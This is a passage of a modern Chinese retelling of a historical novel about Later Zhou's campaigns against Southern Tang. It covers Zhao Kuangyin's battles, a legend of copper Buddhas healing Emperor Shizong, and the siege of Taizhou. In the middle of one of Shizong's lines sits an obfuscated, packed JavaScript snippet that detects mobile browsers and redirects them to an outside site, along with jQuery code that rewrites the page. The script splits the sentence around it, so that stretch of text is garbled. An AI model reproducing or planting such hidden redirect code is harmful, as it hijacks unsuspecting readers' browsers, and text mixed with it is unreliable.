李璟本来就心烦,一听这话,顿时勃然大怒,拍着桌子骂道:“这两个小子竟敢骗我!”立刻下令把孙晟、李德明推出去斩首。孙晟被押到刑场,看着远处的金陵城,长叹一声:“我死了没什么可惜的,就是对不起先帝的恩情,不忍心看着金陵城早晚被周兵攻破,百姓遭难啊!”说完,刽子手的刀就落了下来。有诗感叹这事: 奉命出使尽忠心,谗言入耳难辨真。 请看守土归中原,只剩东门三尺坟。 杀了孙晟、李德明后,李璟赶紧拜自己的弟弟齐王李景达为兵马大元帅,让陈觉当监军使,统领五万大军抵抗周兵。又先派大将陆孟俊带一万士兵去救泰州。陆孟俊赶到泰州后,立刻和刘仁赡合兵一处,守军声势一下子大了起来,周兵见势不妙,只好暂时退了回去。 陆孟俊见周兵退了,野心也大了起来,想趁机夺回扬州。扬州守将韩令坤一听说这事,心里顿时慌了——他手下的兵本来就不多,要是陆孟俊真打过来,自己肯定守不住。他站在城楼上,看着远处唐兵的营帐冒出的炊烟,心里直打鼓:“要是守,兵力不够,粮食也撑不了几天;要是弃城逃走,世宗肯定饶不了我,这可怎么办?” 世宗很快就听说了韩令坤想弃城的消息,吓得赶紧召集大臣:“要是让唐兵重新夺回扬州,咱们之前的努力就全白费了,大事就完了!”他立刻下令让元帅赵匡胤带两万士兵驻守六合,支援扬州。赵匡胤领了旨意,很快就到六合扎下营寨,还下了一道死命令:“凡是扬州的士兵,要是敢退到六合一步,就砍了他的脚!” 韩令坤很快就听说了这道命令,心里一沉:“老赵这是断了我的退路啊!看来只能硬着头皮守了。”他赶紧下令士兵加固城墙,准备守城的器械,再也不提弃城的事。 这边世宗又亲自带兵去攻泰州,可刘仁赡防守得十分严密,周兵攻了好几天都没攻下来。偏偏这时候又下起了秋雨,一下就是十几天,营地里的积水都有好几尺深,粮食也快吃完了,士兵们人心惶惶,都想着赶紧撤军。世宗看着这情况,只好跟身边的大臣商量:“要不咱们先撤军,等以后有机会再打过来?” 马全义赶紧站出来反对:“陛下,万万不可!泰州是南唐的重镇,刘仁赡又是个又有勇又有谋的将领,您要是现在撤军,正好中了他们的计!不如您先去濠州,等着其他将领进军,肯定能有收获。要是现在半途而废,唐兵肯定会在后面追着咱们打,到时候损失就大了!”世宗觉得马全义说得有道理,就下令大军开往濠州。 泰州城里的士兵听说周兵撤围走了,都劝刘仁赡趁机追上去,刘仁赡却摇摇头:“你们忘了何延锡丢寿州的教训了吗?周兵不是打不过才退的,只是因为粮食不够了,咱们要是追出去,肯定会中他们的埋伏。”众将听了,都佩服刘仁赡想得周到,也就不再提追击的事。 可陆孟俊却不服气,他对刘仁赡说:“刘将军,您就在这儿坚守泰州,我带我的兵去取扬州!”刘仁赡赶紧劝他:“不行啊!韩令坤是个勇猛的将领,不是好对付的,再说赵匡胤还在六合驻军支援,他们两军互相呼应,咱们能不能打赢还不一定。不如咱们一起守着泰州,等齐王的大军到了,再商量怎么行动,这才是最好的办法。” 陆孟俊一听就火了,拍着桌子骂道:“要是像你这样拖拖拉拉,害怕打仗,什么时候才能夺回咱们的土地?”他根本不听刘仁赡的劝告,带着自己的士兵就往扬州赶,在离扬州城五里的地方扎下了营寨。 韩令坤听说陆孟俊来了,赶紧整顿兵马出城迎战,两边很快就摆开了阵势。陆孟俊提着刀拍马走出阵前,指着韩令坤骂道:“你们周兵要是识相,就赶紧退兵,不然我今天就取了你的人头,献给唐主!” 韩令坤也火了,大声回骂:“我们中原有的是大军,平定南唐只是早晚的事,你还敢不自量力来送死?我今天非要杀了你,为扬州的百姓报仇!”陆孟俊气得哇哇大叫,提着刀就冲了过来,韩令坤也举刀相迎。两匹马交缠在一起,两把刀碰撞得“叮叮当当”响,打得十分激烈。有诗为证: 唐兵遥望周军营,满谷满山哭喊声。 兵刃相交杀一夜,天明鲜血浸空城。 两人打了三十多个回合,陆孟俊渐渐体力不支,招架不住,只好拍马往自己阵中逃去。韩令坤赶紧下令大军追击,陆孟俊正拼命逃跑,忽然听到山后“轰隆”一声炮响,一员大将带着士兵冲了出来——正是赵匡胤!原来赵匡胤听说扬州开战,赶紧从六合带兵赶来支援,正好遇上陆孟俊兵败逃跑。 陆孟俊一看见赵匡胤,吓得魂都快没了——他早就听说赵匡胤打仗厉害,哪里还敢迎战?赶紧调转马头又想跑,可韩令坤已经追了上来,一把就把他从马上拉了下来,生擒活捉。唐兵见主将被抓,顿时乱作一团,四散逃跑。赵匡胤见抓了陆孟俊,就带着兵回六合去了。 韩令坤押着陆孟俊回到扬州城,本来想把他装进囚车,送到世宗那里发落,可就在准备押走的时候,他的侧室杨氏正好路过,一看见陆孟俊,当场就放声大哭,拉着韩令坤的袖子说:“将军,就是这个贼人!当年他在马希烈手下的时候,杀了我全家一百多口人,今天好不容易抓住他,您可别把他送到御营去,一定要把他碎尸万段,为我报仇啊!” 韩令坤这才知道陆孟俊还跟杨氏有这么大的仇,他走到陆孟俊面前,冷笑着说:“你昨天不是还想取我的人头,献给唐主当节度使吗?现在被我抓住了,我今天就挖了你的心肝,下杯酒,你还有什么话说?”陆孟俊耷拉着脑袋,叹了口气:“既然被你抓住了,要杀要剐悉听尊便,我没什么好说的。” 韩令坤喝令手下把陆孟俊绑在木床上,下令剐了他。手下人立刻拿着刀上前,不一会儿就把陆孟俊剐得尸骨无存。后人有诗证明这事: 恃勇无谋真可叹,一时被俘丢了戈。 军前说话先挑衅,临死才知受苦多。 韩令坤剐了陆孟俊后,扬州守军的士气一下子高涨起来。消息传到齐王李景达的军营里,李景达吓得赶紧召集手下商量对策。教练吴用站出来说:“元帅,韩令坤在扬州驻守,赵匡胤在六合驻军,他们互相支援,不好对付。咱们不如先从必经之路进军,先攻打六合,只要拿下六合,扬州就指日可待了!”李景达觉得吴用说得有道理,就下令大军渡过长江,直奔六合。 赵匡胤很快就听说了唐兵要来攻六合的消息,赶紧带着士兵离开六合二十里,筑起坚固的栅栏坚守,按兵不动。过了几天,李景达的大军到了一片平坦的地方,摆开了阵势。赵匡胤也带着兵出来,跟李景达对峙。 赵匡胤手下的牙将高琼拍马走出阵前,对着唐兵大声喊道:“你们唐兵已经输了好几次了,赶紧投降吧,别再让百姓受苦了!”李景达气得脸色发白,指着高琼骂道:“你们周兵不知进退,仗着自己人多就欺负我们,今天要是你们不退兵,我就让你们死无葬身之地!” 高琼一听就火了,提着枪就冲了过去。李景达身后立刻冲出一员大将,是岑楼景,他拿着一把大刀,有万夫不当之勇,拍马舞刀就跟高琼打了起来。两边的金鼓声、喊杀声震天动地,两人打了三十多个回合,还是分不出胜负。 南唐阵中的吴用见岑楼景打不过高琼,赶紧提着斧头拍马出来帮忙。郑恩在周兵阵中看得清清楚楚,气得大吼一声,拍马冲了出去,手里的刀一挥,就把唐兵的阵形冲成了两段。吴用一看见郑恩那威猛的样子,吓得魂都飞了,转身就想跑,可郑恩跑得比他快,一刀就砍死了吴用。 郑恩接着又催马冲上去,和高琼一起夹攻岑楼景。岑楼景本来就快撑不住了,现在又多了个郑恩,哪里还招架得住?只好拖着刀拼命逃跑。高琼大喊一声,带着士兵冲进唐兵阵中,赵匡胤也下令大军全线出击,唐兵大败,死伤无数。李景达不敢再恋战,跟着岑楼景冲开一条血路,逃到野州去了。 赵匡胤大获全胜,带着士兵回营,手下将领纷纷来献功。他赶紧派人去给世宗报捷,世宗听说后十分高兴,下令前往扬州。窦仪却劝道:“陛下,现在士兵们又累又饿,南唐已经输了好几次,他们再也没能力打仗了。您不如先回大梁,派大将在重要的地方驻军,等着他们来投降,用不了几个月,南唐的君臣肯定会来求和的。” 世宗觉得窦仪说得对,当天就下旨回京城。他命令李重进继续围攻泰州,张永德驻守滁州,韩令坤镇守扬州,高琼驻守六合,其他文武官员都跟着自己班师回朝。第二天,大军就离开南唐境内,一声炮响后,大小三军朝着汴梁进发。有诗为证: 得胜班师献俘虏,将军早有建功谋。 大军回程无阻碍,百姓壶浆满路途。 大军分成三队,从祥阅往回走。可没想到,当天晚上世宗就发起了高烧,浑身疼得厉害,他赶紧让人宣太医来诊脉开药。过了两天,世宗的身上竟然起了一片片棋子大小的天泡疮,疼得他直呻吟,好几次都晕了过去。赵匡胤等将领一直守在他身边,寸步不离地照顾。 有一天,世宗稍微清醒了一点,虚弱地说:“我心里又烦又闷,浑身发热,口渴得厉害,有没有干净的凉水,给我喝点解渴?”赵匡胤赶紧吩咐手下人四处去找干净的凉水,自己也带着一个银壶,翻身上马去找。 赵匡胤骑着马跑了五六里路,来到一座山脚下,忽然听到“哗哗”的流水声,他赶紧下马走过去,看见一条山溪,溪水清澈见底,十分干净,他心里一阵高兴:“终于找到干净水了,陛下有救了!” 可就在他准备弯腰打水的时候,忽然看见溪水的上游坐着三个胖和尚,身上的衣服破破烂烂的,正在溪水里洗澡。赵匡胤皱起眉头,走过去对他们说:“你们都是出家人,信奉佛教,应该以慈悲为怀,怎么能用这么脏的身子在溪水里洗澡呢?你们只图自己舒服,就没想过这水要是被老百姓喝了,会生病的吗?你们的慈悲心就是这样的?” 那三个和尚听了,呵呵笑了起来:“贵人有所不知,我们不是在洗澡,是之前被柴王(指世宗,世宗本姓柴)拿去铸成了钱,烧得我们浑身疼,所以才在这凉水里泡一泡,能舒服点。” 赵匡胤一听,顿时恍然大悟,心里想:“这么说,这三个和尚难道是三尊铜佛?竟然显灵了,真是太不可思议了!”他赶紧双手合十,恭敬地说:“阿弥陀佛!我们周天子因为五代以来战乱不断,想拯救百姓,才起兵平定叛乱。后来因为士兵们缺少钱粮,实在没办法,才暂时把菩萨的金身铸成钱,没想到造下这么大的罪孽。但佛祖当年有割肉喂鹰、舍身喂虎的慈悲之举,希望您能原谅我们,念在周主是为了救急,不是因为昏庸无道才这么做的。等我们回到京城,一定会诚心忏悔,重新铸造菩萨的金身,希望菩萨能宽恕我们。” 其中一个和尚说:“那些小事,我们本来就没放在心上。不过既然贵人答应重新铸造我们的法像,就帮他治好吧。况且他还有两年的皇位要坐,现在还死不了,这次只是因为烧得太厉害,给个教训而已。贵人你就把这溪水取回去,涂在他的疮上,很快就能好,赶紧回去吧。” 赵匡胤赶紧磕头拜谢,等他抬起头来,那三个和尚却不见了,他心里又惊又奇,赶紧用银壶舀满溪水,翻身上马,飞快地往回赶。回到营中,他赶紧问手下大臣:“你们找到水了吗?陛下喝了没有?”大臣们说:“喝是喝了,可还是疼得厉害,现在又晕过去了,情况更严重了。” 赵匡胤赶紧走进御营,拿过一个金盆,把溪水倒进去,又找了一根孔雀毛,蘸着水轻轻涂在世宗的疮上。世宗本来昏昏沉沉的,忽然觉得浑身一阵清凉,舒服了不少,他慢慢睁开眼,看见赵匡胤正拿着孔雀毛给自己涂水。更神奇的是,那些疮被溪水一涂,竟然很快就好了,就像甘露滋润心田一样,不一会儿,世宗身上的疮就全没了。 世宗虚弱地问:“二御弟,你从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519323|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿找到的仙水,竟然能治好我的病?”赵匡胤就把自己在山里找水,遇到铜佛显灵的事一五一十地说了。世宗听了也十分惊讶:“原来佛祖真的显灵了!等我回到京城,一定要重新铸造金身。二御弟,你为我治病,功劳太大了!”赵匡胤赶紧说:“这都是陛下的福气,我没什么功劳。”世宗十分高兴,立刻下令大军启程回京城。 大军在路上没再遇到什么事,很快就到了汴梁。京城的文武官员早就等着了,赶紧上前迎接世宗进朝。世宗安排好手下大臣,就回到宫中,拜见了太后,又和正宫皇后见了面。皇后听说世宗在路上生了疮,现在虽然好了,但身上留下了一片片疤痕,忍不住笑着说:“陛下,您身上这一片片的疤痕,活像鱼鳞一样,可别飞走了啊!” 世宗也笑了,说:“前些天我浑身疼得厉害,好几次都晕过去,那时候真想插上翅膀飞回来见你。”他又把用铜佛铸钱、后来遇到佛显灵的事说了一遍。太后听了,赶紧说:“孩子,既然有这事,就得选个好日子开工,重新铸造佛的法像,我宫里的金银也拿出来帮忙。等铸好了,咱们好好忏悔,弥补之前的过错。”世宗拜谢了太后,和皇后一起回到寝宫,当天晚上没再发生什么事。 再说那些立功的大臣们,大多都回家和家人团聚,只有高怀德十分伤心——他的弟弟高怀亮在战场上牺牲了,他正忙着迎接弟弟的棺木,搭起灵棚办丧事。京城的文武官员都来祭奠,丧事办完后,高怀德就把弟弟的棺木送回祖坟安葬,这里就不多说了。 过了几天,世宗上朝,接受百官的朝贺后,把赵匡胤叫到殿上,安慰他说:“我这次亲自征讨南唐,虽然没能完全平定,但打了好几次胜仗,这都是靠二御弟你啊,你的功劳最大,我一定要好好奖赏你。” 赵匡胤赶紧说:“这都是陛下的福气,还有各位将领拼命作战的结果,我这点力气,算不上什么功劳。” 世宗摇摇头:“二御弟,你就别谦虚了。你之前的南宋王只是个闲职,不能一直做下去。现在我封你为定国节度使,还兼任殿前都指挥使。”其他跟着出征的将领也都得到了封赏,高怀亮因为战死,被追封为忠勇侯,手下的士兵也都得到了赏赐。 赵匡胤谢过恩后,趁机推荐赵普:“陛下,赵普有大才,能担当重任,希望您能重用他。”世宗就封赵普为节度副使。当天,君臣们议论完朝政,就散朝了。 又过了几天,张永德上奏章,说李重进在军中停留不前,不肯进兵,怀疑他有反叛之心。世宗拿着奏章,对大臣们说:“了解大臣的只有君主,李重进一直忠心耿耿,怎么会有反叛之心?这肯定是张永德捕风捉影。我要是下旨安慰李重进,反而会让他起疑心,不如就当不知道这事,看看他以后的行动再说。”大臣们都点头说:“陛下说得对。”世宗就把这事压了下来,没再提。 可李重进很快就听说了张永德上奏的事,他想了想,决定亲自去张永德的营中解释。士兵们把这事报告给张永德,张永德赶紧问:“他带了多少人来?”手下说:“就他一个人,没带随从。”张永德心里犯嘀咕:“他该不会是来兴师问罪的吧?毕竟我上奏说他有反心。”但他还是出门迎接,李重进下了马,和张永德手拉手走进营中,两人分宾主坐下。 张永德让人摆上酒,两人一边喝酒一边聊天。喝到一半,李重进看着张永德说:“张兄,咱们俩都是国家的大将,本该同心协力,怎么能互相怀疑呢?当年战国的时候,蔺相如和廉颇一开始有私怨,但后来为了国家,两人和好如初,人们都佩服他们的义气。现在咱们能坐在一起喝酒,怎么能学那些互相猜忌的人,让南唐看笑话呢?” 张永德听了,脸一下子红了,赶紧站起来拱手道歉:“李兄,是我错了,不该听信传言怀疑你,你别往心里去。”从此,两人之间的猜疑就消除了,两边的士兵也相处得十分和睦。有诗为证: 单骑赴营智谋高,一番话来怨全消。 心交义合多欢洽,皆因周王重英豪。 这时候,南唐主李璟听说李重进和张永德有矛盾,赶紧和大臣们商量用反间计,偷偷写了一封蜡书,派人送给李重进。李重进拆开蜡书一看,上面写着: “将军有没有实权,全看时势。现在听说你奉周主之命,在泰州城下驻军,断绝我南唐的粮道,泰州城孤立无援,眼看就要被攻破,这确实是你的妙计。但我朝的守将刘仁赡,有宁死不降的决心,而且泰州城里府库充足,就算有百万大军,也不容易攻破。最近听说张永德对你心怀怨恨,上奏朝廷说你停兵不进,有反叛之心。朝廷听了,怎么会不怀疑你?一旦你的兵权被削,被贬为平民,还不如一个普通人。不如你拥兵自重,为自己的子孙打算。要是你愿意归顺我朝,我一定会封你为重镇节度使,绝不亏待你。” 李重进看完信,气得勃然大怒:“这小子想用反间计挑拨我和陛下的关系,真是痴心妄想!”他立刻下令把送信的人关起来,把蜡书送到京城给世宗看。世宗看完信,十分高兴,对大臣们说:“我就知道李重进不会辜负我,现在果然证明了。”大臣们都上前祝贺,范质说:“有这么忠诚的将领,还怕平定不了南唐吗?陛下就等着好消息吧!”世宗就封李重进为青州节度使,又下旨给在外的将领,让他们好好打仗,使臣领了旨,就去各军营宣示了。 又过了几天,世宗召见华山处士陈抟,想封他为谏议大夫。陈抟却推辞说:“陛下,我生性闲散,早就不想追求功名了,您还是收回成命吧。”世宗又问陈抟有没有飞升成仙的方法,陈抟说:“陛下您是天子,应该以治理天下为己任,追求成仙有什么用呢?”世宗又说:“那我请你和我一起治理天下,怎么样?”陈抟回答:“尧、舜当政的时候,巢父、许由都能按照自己的意愿生活,我也想像他们一样。” 世宗知道陈抟是真心不想当官,就下旨让他回华山。陈抟临走前,写了一首诗留给世宗: 十年踪迹浑如梦,富贵荣华梦里看。 紫宫谁来管天下,陈桥帝子得平安。 当天陈抟留下的诗,被近臣抄录下来,送给世宗看。世宗看着诗里的句子,觉得含义深远,自己看不懂,就拿给大臣们看,可大臣们也不知道是什么意思。世宗只好让人把诗藏在金柜里,打算以后再慢慢琢磨。他又下旨在崇元殿设宴,君臣们一起喝酒,十分热闹,直到尽兴才散宴。 再说赵匡胤回到家里,没想到父亲赵弘殷突然中风,倒在地上说不出话来。赵匡胤赶紧让人去请太医,太医来了之后,诊完脉,摇着头说:“将军,这是中风不语的急症,就算下药,恐怕也没什么效果,这可怎么办?”赵匡胤急得眼泪都快出来了,说:“就算有一线希望,也得试试啊!你尽管下药,要是没效果,我也不怪你。” 太医只好按照药方,用牛黄、郁金等药煎成汤剂,灌进赵弘殷嘴里,可赵弘殷还是没醒过来,病情反而更重了。赵匡胤一边让人继续找偏方,一边守在父亲床边,直到五更天的时候,赵弘殷还是没能撑过去,渐渐没了气息。赵匡胤和家里人都哭得死去活来,之后的入殓等事,这里就不多说了。 第二天,赵匡胤把父亲去世的消息报告给世宗,又通知了京城的文武官员,然后在家中设灵棚办丧事,请僧人诵经超度,按照习俗办理。世宗派右相王朴代替自己主祭,各位王侯都来陪丧。到了五七那天,赵匡胤把父亲的棺木送到祖坟安葬,丧事办完后,他就按照规矩在家守孝。 另一边,郑恩自从班师回朝后,和妻子陶妃久别重逢,两人十分恩爱,天天在一起,不分昼夜。可没想到过了三个多月,郑恩突然发起了高烧,咳嗽不止,吃不下饭,坐卧不安。陶妃赶紧让人去请太医,太医诊完脉,就知道了病因,他站起身,小心翼翼地把病因说了出来——郑恩这是因为过于贪欢,伤了身体。正是: 人生何必贪名利,快乐不如色与酒。 到底太医说出了什么病症,还要看下一回分解。 59. 第 59 章 话说郑恩自从随大军班师回朝后,因先前常年在外征战,与妻子陶妃聚少离多,如今总算得闲,两人免不了日日相守,重拾往日的温情蜜意。可他毕竟是武将出身,性子豪放,不知节制,没几日便因酒色过度渐渐病倒了。陶妃急得团团转,连忙让人去请太医院的御医来诊治。 御医仔细把过脉,又询问了日常起居,眉头微蹙道:“郑将军这病,是因七情过度耗伤了元气,加上肾水亏虚、肝火旺盛所致。我给您开一副滋肾平肝、清金益水的药方,按时服用倒无大碍。但最关键的还是得静养——必须清心寡欲,守住元气,再配上汤药调理,才能彻底痊愈。”郑恩听了这话,悬着的心才算放下,连忙吩咐下人送御医出门,又赏了不少银两。 自此,郑恩便闭门在府中养病。府里的大小事都交给陶妃打理,就连煎药、喂饭、添衣这些琐事,陶妃都亲自上手,寸步不离地守在他床边。这日午后,陶妃正坐在床边给郑恩扇着扇子,侍女小莲端着刚熬好的汤药进来,轻声道:“夫人,药熬好了,您歇会儿,我来喂将军吧?”陶妃摇摇头,接过药碗,用银勺舀起一点,放在嘴边吹凉了才送到郑恩嘴边,柔声说:“你慢点喝,这药虽苦,却是治病的关键。” 郑恩看着陶妃眼下的青黑,心里又疼又愧,低声道:“委屈你了,这些日子没日没夜地守着我。想当年我跟着哥哥(赵匡胤)在战场上厮杀,枪林弹雨都没怕过,如今却被这点病缠得动弹不得,要是前线有战事,我这身子……”话没说完,就被陶妃打断:“胡说什么呢?身子要紧,前线有赵将军和李将军他们,你安心养病就是。等你好了,咱们还像从前一样,在院子里种你爱吃的石榴,好不好?”郑恩点点头,眼角微微泛红,乖乖地把药喝了下去。 这边郑恩安心养病,那边李重进正率领大军攻打泰州。泰州被周军围困已有两年,城里的粮草早就见了底,军民们饿得连树皮都快剥光了。守将刘仁赡看着城楼下密密麻麻的周军,急得头发都白了好几根,连忙派人突围去给齐王李景达送信,请求援兵。 齐王接到急报后,不敢耽搁,立刻派大将许文稹和朱元率领兵马,押运着粮草去支援泰州,大军在紫金山下扎下营寨。当晚,朱元就找许文稹商议对策:“许将军,周军势头正盛,尤其是李重进,此人智勇双全,用兵如神。咱们刚到这儿,他就按兵不动,显然是早有防备,咱们可得小心应对。” 许文稹皱着眉问:“那依你之见,该怎么办?”朱元指着地图上的一条山道说:“咱们不如修筑一条甬道,从营寨直通泰州城下。这样一来,运粮的士兵就不用怕周军偷袭,粮草也能源源不断地送进城去——这可是兵家常用的稳妥法子。”许文稹琢磨了一会儿,觉得这主意不错,当即下令让士兵们连夜动工,没几日就修好了一条绵延数十里的甬道。 消息很快传到了李重进的军营里。李重进召集众将议事,指着沙盘对曹英说:“唐军不仅来了援兵,还修了甬道运粮,这下咱们想困死他们可难了。你有什么好办法?”曹英上前一步,指着甬道中段说:“将军您看,这甬道中段要经过一片树林,地势狭窄,守军肯定薄弱。咱们不如派一支奇兵从那里突袭,再前后夹击,定能打乱他们的阵脚。” 李重进眼睛一亮:“你这话正合我意!”他转头看向牙将刘俊:“你带五千步兵,绕到泰州城南,等我这边出兵牵制住唐军主力,你就从他们背后杀过来,咱们两面夹击。”刘俊领命而去。李重进又对曹英说:“你带一队人马埋伏在紫金山北坡,等许文稹败退下来,就拦住他的去路,绝不能让他逃回城里。”众将领命后,各自去准备。 第二天一早,李重进亲自率领大军向紫金山进发。两军在山下摆开阵势,许文稹提着大刀,拍马来到阵前,对着周军喊道:“你们周军围攻泰州两年,连个城墙都没打下来,白白浪费兵力!识相的就赶紧退兵,免得丢了性命!” 李重进气得火冒三丈,提着刀就冲了出去:“你这唐将,休要口出狂言!今日我就来会会你!”许文稹也不含糊,挥刀迎战。两人你来我往,杀得难解难分,金鼓声、喊杀声震得山谷都在响。打了一百多个回合,还是没分出胜负。 这时,南军阵中突然冲出一员大将,名叫边高,手持长枪,拍马赶来助战。李重进以一敌二,却丝毫不见慌乱,大刀舞得虎虎生风。就在这时,周军阵中突然响起一声炮响,东边的树林里冲出一队人马,正是刘俊率领的步兵!他们从唐军背后杀来,唐军顿时乱作一团。 朱元见状,连忙提枪上前阻拦,可刚冲出去没几步,又听到西边传来马蹄声——曹英率领的伏兵也杀过来了!许文稹见形势不妙,拨转马头就想跑。曹英早就盯上了他,催马拦住去路。边高想拦住曹英,让许文稹逃走,可他刚冲到曹英面前,就被曹英一刀劈落马下。 许文稹见边高被杀,吓得魂飞魄散,拼命冲开一条血路,往泰州北门逃去。城楼上的刘仁赡看得真切,连忙率领守军杀出城来,把许文稹救进了城里。李重进趁机攻占了唐军的营寨,又分兵守住甬道,彻底切断了泰州的粮草供应。 许文稹逃回城里后,清点兵马,发现大半士兵都战死或逃散了,羞得恨不得找个地缝钻进去。刘仁赡看着他失魂落魄的样子,叹了口气说:“许将军,你先和朱将军一起守城,明日我亲自出城,跟李重进决一死战!” 许文稹连忙拉住他:“刘将军,不可啊!你要是出城交战,城里就没人主持大局了。咱们还是等齐王的援军到了,再做打算吧。”刘仁赡想想也是,如今城里兵力不足,只能死守,便放弃了出战的念头,专心指挥士兵加固城墙。可他心里清楚,泰州迟早会被攻破,想到国家危难,自己却无能为力,不由得又急又气,没过几日就病倒了。 刘仁赡的儿子刘宗见父亲病倒,心里又急又恨,闯进父亲的房间说:“爹,周军虽然厉害,可咱们也不能坐以待毙!您一直死守城池,从没打过败仗,如今来了援兵反而吃了亏,这口气我咽不下!今晚我带两千士兵,出城去劫周营,定能杀他们个措手不及,为咱们报仇!” 刘仁赡一听,急得从床上坐起来:“你胡闹什么!你从来没带过兵劫营,懂什么兵法?我身为守将,都不敢冒险,你一个毛头小子,怎么敢妄动?要是中了周军的埋伏,不仅会丢了性命,还会连累城里的百姓!这主意绝对不行!”说完,就喝令下人把刘宗赶了出去。 可刘宗年轻气盛,哪里听得进劝?当天夜里,他偷偷召集了两千心腹士兵,打开东门,乘着小船渡过淮河,直奔周军大营而去。可他哪里知道,李重进早就料到唐军会来劫营,提前派了游兵在营外巡逻。刘宗的人马还没靠近大营,就被游兵发现了。周军一通乱杀,唐军死伤惨重,刘宗带着残兵狼狈地逃了回来。 第二天一早,刘仁赡得知了这件事,气得浑身发抖,当即下令把刘宗绑到辕门外,要按军法处斩。监军周廷构连忙赶来求情:“刘将军,小将军虽然打了败仗,可他也是为了国家,想立功报国啊!并非出于私心,您就饶了他这一次吧!” 刘仁赡闭着眼睛,摇了摇头:“军法如山,不能徇私。要是这次饶了他,以后谁还会遵守军纪?”部下的将领们也都跪下来求情,可刘仁赡就是不松口。周廷构没办法,只好让人去给刘夫人送信,请她来劝劝刘仁赡。 刘夫人听说儿子要被斩,心里像刀割一样疼,可她还是强忍着泪水对来人说:“我不是不爱儿子,可军法不能因为私情而废,名节也不能因为亲情而丢。要是今天饶了他,别人会说我们刘家不忠不义,我和将军还有什么脸面见将士们?”说完,就让人传话说“按军法处置”。 刽子手举起大刀的那一刻,营里的将士们都忍不住哭了起来。刘仁赡背过身去,泪水顺着脸颊往下流——他何尝不心疼儿子?可他是泰州守将,要对全城百姓负责,只能舍小家顾大家。后人有诗赞道: 军中主帅号令明,忠贞怎肯徇私情? 竟将爱子殉军法,一片丹心照汗青。 再说齐王李景达听说许文稹大败,连忙召集大臣商议,打算调动全国的兵力去救泰州。李重进得知这个消息后,心里也犯了嘀咕——唐军人多势众,自己这边粮草也快不够了,要是硬拼,恐怕讨不到好。他连忙召集众将商议:“唐军要派倾国之兵来救泰州,咱们一时半会儿打不下来,粮草也快接济不上了。不如我写一封奏折,派人送给陛下,请陛下定夺。咱们先在这儿稳住阵脚,等陛下的旨意。”众将都表示同意,李重进当即写好奏折,派心腹快马送往京城。 世宗接到奏折后,心里也拿不定主意。当时宰相李穀正好生病在家,世宗就派范质和王朴去李穀府上,问问他的意见。李穀躺在床上,听范质说完情况,挣扎着坐起来说:“泰州被围困了这么久,破城是早晚的事。要是陛下能亲自出征,将士们肯定会更加卖力,泰州很快就能攻下来。” 范质和王朴把李穀的话带回宫里,世宗听了,当即下定决心亲征。他下旨任命赵匡胤为元帅,统领各路兵马。可当时赵匡胤正在家为母亲守孝,接到圣旨后,心里很是为难——一边是君命难违,一边是孝道未尽。他的姐姐赵氏看出了他的心思,劝道:“弟弟,娘在世时最看重你的忠义,如今国家有难,你要是不去,娘在九泉之下也不会安心的。我会帮你守着家里,你放心去吧。”赵匡胤听了,心里稍安,当即收拾行装,奉命出征。 赵匡胤又替郑恩向世宗请了病假,说郑恩先前征战辛苦,班师后一直生病,至今没能痊愈,无法随军出征。世宗准了郑恩的病假,又让赵匡胤抓紧时间训练水军——南唐军队擅长水战,周军要想打败他们,必须先练好水战本领。赵匡胤当即下令建造了几百艘大船,让投降的唐兵教周军士兵划船、水战技巧。几个月后,周军士兵在水里进退自如,比唐军还要厉害。 三月,世宗亲自率领大军从大梁出发,命王环率领五万水军,从汴河沿着颍水进入淮河。周军声势浩大,沿途的南唐守军都吓得不敢出战。消息传到南唐,齐王李景达吓得魂不附体,连忙派人去金陵向唐主求救。 唐主召集大臣商议对策,太史令吕锦文上前奏道:“陛下,南唐和周朝势不两立,如今周军深入我国腹地,咱们只能调动全国的兵力去迎战。周军远道而来,粮草供应肯定跟不上,撑不了多久的!”唐主觉得有理,当即任命杨守忠为大将,率领五万兵马去支援泰州。杨守忠接到圣旨后,连夜率领大军离开金陵,在紫金山下扎下营寨。 齐王李景达听说援兵到了,心里稍稍安定,连忙率领自己的大军来到淮河口扎营,和杨守忠的军队互相呼应。城里的许文稹和朱元也率领士兵在城西扎营,三支军队形成犄角之势,约定第二天一起出兵,夹击周军。 世宗的大军在离泰州城十里的地方扎下营寨,听说南唐派了倾国之兵来,当即下令让各营将士做好战斗准备,严阵以待。第二天一早,世宗亲自穿上铠甲,和赵匡胤等将领一起来到阵前。杨守忠也率领唐军摆开阵势,拍马来到阵前,对着周军喊道:“我们南唐和你们周朝向来井水不犯河水,你们为什么连年攻打我们,让百姓受苦?” 世宗冷笑一声:“如今天下本应一统,你们唐主昏庸无能,却敢割据一方,残害百姓。朕今天率领天兵而来,你们要是识相,就赶紧投降,朕还能给你们封官赐爵;要是执迷不悟,就别怪朕不客气了!” 杨守忠气得脸色铁青,喊道:“谁敢先去杀了周军的气焰?”话音刚落,一员将领就从阵中冲了出来,正是牙将张兆仁。他手持大刀,拍马直奔周军阵前。周军阵中的曹英见状,提着刀就迎了上去。两人你来我往,打了三十多个回合,曹英故意卖了个破绽,拨转马头就跑。张兆仁以为曹英打不过自己,催马就追。眼看就要追上,曹英突然转过身,大刀一挥,把张兆仁斩成了两段。 杨守忠见张兆仁被杀,气得眼睛都红了,提着长枪就冲了出去。赵匡胤见状,连忙催动赤兔马,提着八环刀迎了上去。两人刀枪相交,打了五十多个回合,还是没分出胜负。就在这时,城西的许文稹率领大军冲进周军阵中,把周军分成了两段。李重进担心世宗有危险,连忙拍马上前,拦住许文稹交战。两人打了一百多个回合,李重进看准一个机会,伸手把许文稹从马上拉了过来,生擒活捉。 赵匡胤见李重进活捉了许文稹,心里一喜,拨转马头绕着南军阵脚跑。杨守忠连忙催马追赶,赵匡胤突然回身,射出一支连珠箭,正好射中杨守忠的战马。战马受惊,把杨守忠掀翻在地,周军士兵一拥而上,把他捆了起来。 